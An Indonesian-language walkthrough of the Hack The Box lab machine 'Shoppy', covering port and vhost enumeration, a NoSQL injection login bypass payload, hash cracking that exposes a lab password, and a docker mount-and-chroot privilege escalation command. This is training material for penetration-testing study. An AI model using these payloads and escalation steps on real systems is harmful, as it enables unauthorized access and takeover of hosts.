Shoppy

Writeup mesin Hack The Box Shoppy

Port Scanning

sudo nmap -sV -sT -sC -oN nmap_initial -T4 shoppy.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title:             Shoppy Wait Page        
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hasil dari port scanning hanya menunjukkan port 80 dan 22. Sambil menunggu full port scan, kita bisa enumerasi directory dan subdomain.

Directory Scanning

ffuf -recursion-depth 3 -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://shoppy.htb/FUZZ -r
......
________________________________________________

login                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 559ms]
admin                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 261ms]

Vhost Discovery

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H "Host: FUZZ.shoppy.htb"
....
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 195ms]

Jangan lupa tambahkan subdomain yang kita temukan ke /etc/hosts.

Oke dari enumerasi awal, kita mendapatkan data berikut:

Initial Access

NoSQL Injection at Login Page

Setelah beberapa kali melakukan fuzzing dan trial error, saya berhasil masuk ke dashboard admin menggunakan payload berikut:

admin'||1==1%00

Referensi:

Tidak banyak menu yang bisa di explore. Jadi kita langsung coba cek di menu Search for Users. Kita gunakan payload yang sebelumnya kita pakai untuk masuk.

Menggunakan hash-identifier, kita bisa mengetahui jenis hash nya.

Menggunakan wordlist rockyou yang ada di Kali Linux, kita crack dua hash password yang kita dapat sebelumnya menggunakan hashcat.

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.lst 

Satu password berhasil di crack, yakni password milik josh.

6ebcea65320589ca4f2f1ce039975995:remembermethisway

Kita gunakan kredensial tersebut untuk login ke dashboard Mattermost.

Akses:

  • Login: http://mattermost.shoppy.htb/

  • Username: josh

  • Password: remembermethisway

Pada channel Deploy Machine, kita akan mendapatkan history chat yang menampikan kredensial yang dapat kita gunakan untuk login SSH.

Get User Flag

Login ke server menggunakan kredensial yang didapat sebelumnya.

Privilege Escalation

Pertama, jalankan command

sudo -l

Dan masukkan password user jaegar yang kita dapat sebelumnya.

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Selanjutnya kita jalankan command

sudo -u deploy /home/deploy/password-manager

Namun ternyata kita harus memasukkan password.

Oke, selanjutnya kita download file password-manager ke mesin kita. Lalu kita coba analisa menggunakan Cutter. Tidak diperlukan skill reverse engineering disini (karena ini juga mesin dengan kategori Easy), dan Master Password nya bisa langsung kita temukan karena disimpansecara hard-coded didalam aplikasi.

Selanjutnya kita gunakan password yang kita dapatkan dari step sebelumnya untuk mengeksekusi password-manager.

Selanjutnya kita gunakan kredensial tersebut untuk login ke user deploy.

Saat menjalankan perintah sudo -l kita mendapati error

Sorry, user deploy may not run sudo on shoppy.

Setelah menjalankan LinPEAS, kita mendapati info bahwa docker kemungkinan adalah PE Vector.

Untuk trick PE via docker, kita bisa cek di GTFObins.

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

Oke mungkin itu saja write-up kali ini. Semoga ada yang bisa dipelajari dari writeup mesin Shoppy.

Last updated